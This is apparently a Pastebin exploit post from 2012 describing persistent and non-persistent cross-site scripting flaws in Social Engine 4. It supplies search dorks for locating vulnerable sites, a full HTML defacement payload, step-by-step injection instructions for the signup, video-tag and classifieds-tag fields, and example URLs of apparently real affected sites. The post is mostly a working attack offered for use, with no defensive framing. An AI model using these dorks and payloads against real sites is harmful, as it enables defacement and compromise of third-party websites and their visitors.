Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- =====================================================
- Social Engine 4 Persistent XSS & Non-Persistent XSS
- =====================================================
- :------------------------------------------------------------------------------------------
- ----------------------------------------------:
- : # Exploit Title : Social Engine 4 Persistent XSS & Non-Persistent XSS
- : # Date : 27 July 2012
- : # Author : X-Cisadane
- : # Software Link : http://www.socialengine.com/buy-social-engine
- : # Version : ALL
- : # Category : Web Applications
- : # Vulnerability : Persistent & Non-Persistent XSS
- : # Tested On : Mozilla Firefox 7.0.1 (Windows)
- : # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta
- Anonymous Club, Winda Utari
- :------------------------------------------------------------------------------------------
- ----------------------------------------------:
- DORKS
- =====
- "This will be the end of your profile link, for example:"
- OR
- intext:"This page will contain the privacy statement of your choice."
- XSS CODE
- =======
- <DIV align=left>
- <DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; 1; LEFT: 1px;
- BORDER-LEFT: #000000 1px; WIDTH: 1500px; BORDER-BOTTOM: #000000 1px; POSITION: absolute;
- TOP: 0px; HEIGHT: 5000px; BACKGROUND-COLOR: #000000; layer-background-color: #000000">
- <br /><br />
- <br>
- <center>
- <font face="Arial" color="red" size="4"><strong><br><br><br>Defaced By : X-Cisadane
- <br>
- </center>
- <font face="Courier New" color="#FF0000" size="3"><center>Greetz To : X-Code, Borneo Crew,
- Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Winda
- Utari</center></font>
- <center><img
- src="http://obnoxiousgamer.files.wordpress.com/2010/01/jollyroger.gif"></img></center>
- <center><font face="arial" size="3" color="#FF0000">
- <marquee behavior="alternate" scrolldelay="100" style="width: 90%">Please fix your hole!
- </li>
- </ul>
- </td>
- </tr>
- </table>
- </div>
- Proof of Concept
- ================
- 1. Non-Persistent XSS on Sign Up Page
- Example : http://SITE TARGET/signup
- Copy & Paste XSS Code into Profile Address Field
- Pic : http://i45.tinypic.com/v46iyd.png
- Pic : http://i49.tinypic.com/156e79h.png
- 2. Persistent XSS on Tags (Keywords) Field
- - In the Post New Video Page (http://SITE TARGET/videos/create)
- Copy & Paste XSS Code into Tags (keywords) Field
- Picture : http://i50.tinypic.com/14soaci.png
- Example : http://www.ankabooot.com/videos/11081/523
- - In the Post New Classfields Listing Page (http://SITE TARGET/classifieds/create)
- Copy & Paste XSS Code into Tags (keywords) Field
- Picture : http://i47.tinypic.com/2ptcv29.png
- Example : http://www.contact.me/index.php/classifieds/27205/4/test
- All XSS Flaws tested with Mozilla Firefox 7.0.1 (Windows)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement